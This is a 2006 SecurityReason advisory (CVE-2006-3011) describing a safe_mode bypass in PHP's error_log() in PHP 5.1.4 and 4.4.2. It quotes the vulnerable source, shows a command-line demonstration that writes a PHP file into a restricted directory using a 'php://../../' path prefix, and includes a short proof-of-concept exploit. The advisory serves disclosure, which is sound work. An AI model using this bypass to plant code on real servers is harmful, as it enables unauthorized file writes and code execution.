SecurityReason - error_log() Safe Mode Bypass PHP 5.1.4 and 4.4.2

Advisory Text :

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[error_log() Safe Mode Bypass PHP 5.1.4 and 4.4.2]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 10.6.2006
- -Public: 26.06.2006
from SECURITYREASON.COM
CVE-2006-3011

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed
from C, Java and Perl with a couple of unique PHP-specific features thrown
in. The goal of the language is to allow web developers to write
dynamically generated pages quickly.

A nice introduction to PHP by Stig Sæther Bakken can be found at
http://www.zend.com/zend/art/intro.php on the Zend website. Also, much of
the PHP Conference Material is freely available.
error_log -- Send an error message somewhere.

- --- 1. error_log() Safe Mode Bypass ---
error_log() function send to email, file or display your error message. You
can send error messages per mail or write into files. Issue is very simple.
error_log() check safe_mode and open_basedir in stream function. But isn't
allowed use URL. And problem exists in incorrect filename.

PHP5:
- -2013-2050---
PHPAPI int _php_error_log(int opt_err, char *message, char *opt, char
*headers TSRMLS_DC)
{
php_stream *stream = NULL;

switch (opt_err) {

case 1: /*send an email */
{
#if HAVE_SENDMAIL
if (!php_mail(opt, "PHP error_log message", message, headers, NULL
TSRMLS_CC)) {
return FAILURE;
}
#else
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Mail option not
available!");
return FAILURE;
#endif
}
break;

case 2: /*send to an address */
php_error_docref(NULL TSRMLS_CC, E_WARNING, "TCP/IP option not
available!");
return FAILURE;
break;

case 3: /*save to a file */
stream = php_stream_open_wrapper(opt, "a", IGNORE_URL |
ENFORCE_SAFE_MODE | REPORT_ERRORS, NULL);
if (!stream)
return FAILURE;
php_stream_write(stream, message, strlen(message));
php_stream_close(stream);
break;

default:
php_log_err(message TSRMLS_CC);
break;
}
return SUCCESS;
}
- -2013-2050---

Let's see to option 3.

- -2038 line---
stream = php_stream_open_wrapper(opt, "a", IGNORE_URL | ENFORCE_SAFE_MODE |
REPORT_ERRORS, NULL);
- -2038 line---

Option "a", writte to file error or if file dosen't exists, create new
file.
Problem is because in php_stream_open_wrapper(), is defined "IGNORE_URL".
IGNORE_URL turn off safe_mode if you use "prefix://../../".

- -Example---
cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3, "/www/temp/sr.php");'

Warning: error_log(): SAFE MODE Restriction in effect. The script whose
uid is 0 is not allowed to access /www/temp owned by uid 80 in Command line
code on line 1

Warning: error_log(/www/temp/sr.php): failed to open stream: Invalid
argument in Command line code on line 1
cxib# php -r 'error_log("<? echo \"cx\"; ?>", 3,
"php://../../www/temp/sr.php");'
cxib# ls -la /www/temp/sr.php
- -rw-r--r-- 1 cxib www 16 Jun 11 17:47 /www/temp/sr.php
cxib#
- -Example---

- --- 2. Exploit ---
<?php
$file=""; # FILENAME
error_log("<? echo \"cx\"; ?>", 3, "php://../../".$file);
?>

- --- 3. How to fix ---
No response from PHP Team. We have reported this bug in 11.06.2006

- --- 4. Greets ---

For: sp3x
and
p_e_a, l3x, pi3, eax, Infospec, gKPc8O3

- --- 5. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com
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